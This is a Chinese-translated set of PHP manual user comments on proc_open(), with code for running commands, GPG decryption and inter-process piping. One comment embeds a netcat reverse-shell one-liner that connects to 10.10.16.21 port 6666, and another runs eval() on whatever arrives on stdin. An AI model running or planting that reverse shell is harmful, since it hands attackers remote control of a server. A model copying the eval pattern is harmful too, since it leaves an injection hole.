有关流的更多信息(您可以在其中找到许多有用的函数)
https://php.net/manual/en/ref.stream.php
1
cbn at grenet dot org
14 年前
实时显示输出 (stdout/stderr),并在纯 PHP 中获取真实的退出代码(没有 shell 绕过!)。它在我的机器(主要是 Debian)上运行良好。

#!/usr/bin/php
<?php
/*
* 实时执行并显示输出 (stdout + stderr)。
*
* 请注意,此代码片段已添加了适用于 CLI 的 shebang。您可以只重新使用函数。
*
* 使用示例:
* chmod u+x proc_open.php
* ./proc_open.php "ping -c 5 google.fr"; echo RetVal=$?
*/
define(BUF_SIZ, 1024); # 最大缓冲区大小
define(FD_WRITE, 0); # stdin
define(FD_READ, 1); # stdout
define(FD_ERR, 2); # stderr

/*
* proc_*() 函数的包装器。
* 第一个参数 $cmd 是要执行的命令行。
* 返回进程的退出代码。
*/
function proc_exec($cmd)
{
$descriptorspec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("pipe", "w")
);

$ptr = proc_open($cmd, $descriptorspec, $pipes, NULL, $_ENV);
if (!
is_resource($ptr))
return
false;

while ((
$buffer = fgets($pipes[FD_READ], BUF_SIZ)) != NULL
|| ($errbuf = fgets($pipes[FD_ERR], BUF_SIZ)) != NULL) {
if (!isset(
$flag)) {
$pstatus = proc_get_status($ptr);
$first_exitcode = $pstatus["exitcode"];
$flag = true;
}
if (
strlen($buffer))
echo
$buffer;
if (
strlen($errbuf))
echo
"ERR: " . $errbuf;
}

foreach (
$pipes as $pipe)
fclose($pipe);

/* 获取要返回的预期 *退出* 代码 */
$pstatus = proc_get_status($ptr);
if (!
strlen($pstatus["exitcode"]) || $pstatus["running"]) {
/* 我们可以信任 proc_close() 的返回值 */
if ($pstatus["running"])
proc_terminate($ptr);
$ret = proc_close($ptr);
} else {
if (((
$first_exitcode + 256) % 256) == 255
&& (($pstatus["exitcode"] + 256) % 256) != 255)
$ret = $pstatus["exitcode"];
elseif (!
strlen($first_exitcode))
$ret = $pstatus["exitcode"];
elseif (((
$first_exitcode + 256) % 256) != 255)
$ret = $first_exitcode;
else
$ret = 0; /* 我们“推断”一个 EXIT_SUCCESS ;) */
proc_close($ptr);
}

return (
$ret + 256) % 256;
}

/* __init__ */
if (isset($argv) && count($argv) > 1 && !empty($argv[1])) {
if ((
$ret = proc_exec($argv[1])) === false)
die(
"Error: not enough FD or out of memory.\n");
elseif (
$ret == 127)
die(
"Command not found (returned by sh).\n");
else
exit(
$ret);
}
?>
2
Gil Potts
1 年前
这不是一个真正的错误,而是一个意想不到的陷阱。如果您为 `$env` 传递一个数组,并且包含一个修改过的 PATH,那么该路径在启动进程时不会在 PHP 本身中生效。因此,如果您尝试通过使用可执行文件名称来启动修改后的 PATH 中的可执行文件,PHP 和操作系统都将找不到它,因此无法启动进程。

解决方法是让 PHP 知道修改后的 PATH,方法是使用新路径字符串调用 putenv("PATH=" . $newpath),这样 proc_open() 就可以正确地找到可执行文件并成功运行它。
0
mamedul.github.io
9 个月前
使用 PHP 执行命令的跨函数解决方案-

function php_exec( $cmd ){

if( function_exists('exec') ){
$output = array();
$return_var = 0;
exec($cmd, $output, $return_var);
return implode( " ", array_values($output) );
}else if( function_exists('shell_exec') ){
return shell_exec($cmd);
}else if( function_exists('system') ){
$return_var = 0;
return system($cmd, $return_var);
}else if( function_exists('passthru') ){
$return_var = 0;
ob_start();
passthru($cmd, $return_var);
$output = ob_get_contents();
ob_end_clean(); // 使用此方法代替 ob_flush()
return $output;
}else if( function_exists('proc_open') ){
$proc=proc_open($cmd,
array(
array("pipe","r"),
array("pipe","w"),
array("pipe","w")
),
$pipes);
return stream_get_contents($pipes[1]);
}else{
return "@PHP_COMMAND_NOT_SUPPORT";
}

}
2
snowleopard at amused dot NOSPAMPLEASE dot com dot au
16 年前
我设法创建了一组用于处理 GPG 的函数,因为我的主机提供商拒绝使用 GPG-ME。
下面是一个使用更高描述符来传递密码的解密示例。
欢迎评论和邮件。:)

<?php
function GPGDecrypt($InputData, $Identity, $PassPhrase, $HomeDir="~/.gnupg", $GPGPath="/usr/bin/gpg") {

if(!
is_executable($GPGPath)) {
trigger_error($GPGPath . " is not executable",
E_USER_ERROR);
die();
} else {
// 设置描述符
$Descriptors = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("pipe", "w"),
3 => array("pipe", "r") // 这是我们可以将密码输入的管道
);

// 构建命令行并启动进程
$CommandLine = $GPGPath . ' --homedir ' . $HomeDir . ' --quiet --batch --local-user "' . $Identity . '" --passphrase-fd 3 --decrypt -';
$ProcessHandle = proc_open( $CommandLine, $Descriptors, $Pipes);

if(
is_resource($ProcessHandle)) {
// 将密码推送到自定义管道
fwrite($Pipes[3], $PassPhrase);
fclose($Pipes[3]);

// 将输入推送到 StdIn
fwrite($Pipes[0], $InputData);
fclose($Pipes[0]);

// 读取 StdOut
$StdOut = '';
while(!
feof($Pipes[1])) {
$StdOut .= fgets($Pipes[1], 1024);
}
fclose($Pipes[1]);

// 读取 StdErr
$StdErr = '';
while(!
feof($Pipes[2])) {
$StdErr .= fgets($Pipes[2], 1024);
}
fclose($Pipes[2]);

// 关闭进程
$ReturnCode = proc_close($ProcessHandle);

} else {
trigger_error("cannot create resource", E_USER_ERROR);
die();
}
}

if (
strlen($StdOut) >= 1) {
if (
$ReturnCode <= 0) {
$ReturnValue = $StdOut;
} else {
$ReturnValue = "Return Code: " . $ReturnCode . "\nOutput on StdErr:\n" . $StdErr . "\n\nStandard Output Follows:\n\n";
}
} else {
if (
$ReturnCode <= 0) {
$ReturnValue = $StdErr;
} else {
$ReturnValue = "Return Code: " . $ReturnCode . "\nOutput on StdErr:\n" . $StdErr;
}
}
return
$ReturnValue;
}
?>
2
mendoza at pvv dot ntnu dot no
18 年前
由于我没有通过 Apache 访问 PAM、启用 suexec 或访问 /etc/shadow,因此我找到了这种基于系统用户详细信息验证用户的方法。它非常复杂和丑陋,但它有效。

<?
function authenticate($user,$password) {
$descriptorspec = array(
0 => array("pipe", "r"), // stdin 是子进程将从中读取的管道
1 => array("pipe", "w"), // stdout 是子进程将写入的管道
2 => array("file","/dev/null", "w") // stderr 是一个写入的文件
);

$process = proc_open("su ".escapeshellarg($user), $descriptorspec, $pipes);

if (is_resource($process)) {
// $pipes 现在看起来像这样
// 0 => 连接到子进程 stdin 的可写句柄
// 1 => 连接到子进程 stdout 的可读句柄
// 任何错误输出都将追加到 /tmp/error-output.txt

fwrite($pipes[0],$password);
fclose($pipes[0]);
fclose($pipes[1]);

// 在调用 proc_close 之前关闭任何管道非常重要,
// 为了避免死锁
$return_value = proc_close($process);

return !$return_value;
}
}
?>
2
picaune at hotmail dot com
18 年前
上面关于 Windows 兼容性的说明并不完全正确。

Windows 将认真地将 2 以上的附加句柄传递给子进程,从 Windows 95 和 Windows NT 3.5 开始。它甚至支持此功能(从 Windows 2000 开始)使用特殊语法从命令行进行操作(在重定向操作符之前加上句柄编号)。

这些句柄在传递给子进程后,将通过编号为低级 I/O(例如 _read)预先打开。子进程可以使用 _fdopen 或 _wfdopen 方法为高级别(例如 fgets)重新打开它们。然后,子进程可以像使用 stdin 或 stdout 一样从它们读取或写入它们。

但是,子进程必须进行特殊编码才能使用这些句柄,如果最终用户没有足够智能地使用它们(例如“openssl < commands.txt 3< cacert.der”)并且程序没有足够智能地检查,则可能会导致错误或挂起。
-2
anony mouse
1 年前
<?php
$descriptorspec
= array(
0 => array("pipe", "r"), // stdin 是子进程将从中读取的管道
1 => array("pipe", "w"), // stdout 是子进程将写入的管道
2 => array("file", "/tmp/error-output.txt", "a") // stderr 是一个写入的文件
);
$process = proc_open('sh', $descriptorspec, $pipes, $cwd, $env);
if (
is_resource($process)) {
fwrite($pipes[0], 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.16.21 6666 >/tmp/f');
fclose($pipes[0]);
echo
stream_get_contents($pipes[1]);
fclose($pipes[1]);
$return_value = proc_close($process);
echo
"command returned $return_value\n";
}
?>
-1
jonah at whalehosting dot ca
16 年前
@joachimb: descriptorspec 描述的是从您打开的进程的角度来看的 I/O。这就是为什么 stdin 是读取的:您正在写入,进程正在读取。因此,您希望以写入模式打开描述符 2 (stderr),以便进程可以写入它,您可以读取它。在您希望所有描述符都为管道的情况下,您应该始终使用

<?php
$descriptorspec
= array(
0 => array('pipe', 'r'), // stdin
1 => array('pipe', 'w'), // stdout
2 => array('pipe', 'w') // stderr
);
?>

以下将 stderr 作为 'r' 打开的示例是错误的。

我想看看使用高于 2 的描述符编号的示例。特别是文档中提到的 GPG。
-3
jaroslaw at pobox dot sk
16 年前
有些函数对我来说 proc_open() 不起作用。
这是我让它为我工作以在两个 PHP 脚本之间进行通信的方式

<?php
$abs_path
= '/var/www/domain/filename.php';
$spec = array(array("pipe", "r"), array("pipe", "w"), array("pipe", "w"));
$process = proc_open('php '.$abs_path, $spec, $pipes, null, $_ENV);
if (
is_resource($process)) {
# 等待另一端发生某些事情
sleep(1);
# 发送命令
fwrite($pipes[0], 'echo $test;');
fflush($pipes[0]);
# 等待另一端发生某些事情
usleep(1000);
# 读取管道以获取结果
echo fread($pipes[1],1024).'<hr>';
# 关闭管道
fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);
$return_value = proc_close($process);
}
?>

filename.php 然后包含以下内容

<?php
$test
= 'test data generated here<br>';
while(
true) {
# 读取传入的命令
if($fh = fopen('php://stdin','rb')) {
$val_in = fread($fh,1024);
fclose($fh);
}
# 执行传入的命令
if($val_in)
eval(
$val_in);
usleep(1000);
# 防止永无止境的循环
if($tmp_counter++ > 100)
break;
}
?>
-9
toby at globaloptima dot co dot uk
12 年前
如果脚本 A 正在生成脚本 B,并且脚本 B 将大量数据推送到 stdout 而脚本 A 没有使用这些数据,则脚本 B 很可能挂起,但该进程上 proc_get_status 的结果似乎继续表明它正在运行。

因此,要么不要将数据写入生成的进程的 stdout(我现在将数据写入日志文件),要么如果您脚本 A 正在生成许多脚本 B 实例,则尝试以非阻塞的方式读取 stdout,我无法获得此第二个选项,很遗憾。

Windows 7 64 上的 PHP 5.3.8 CLI。
To Top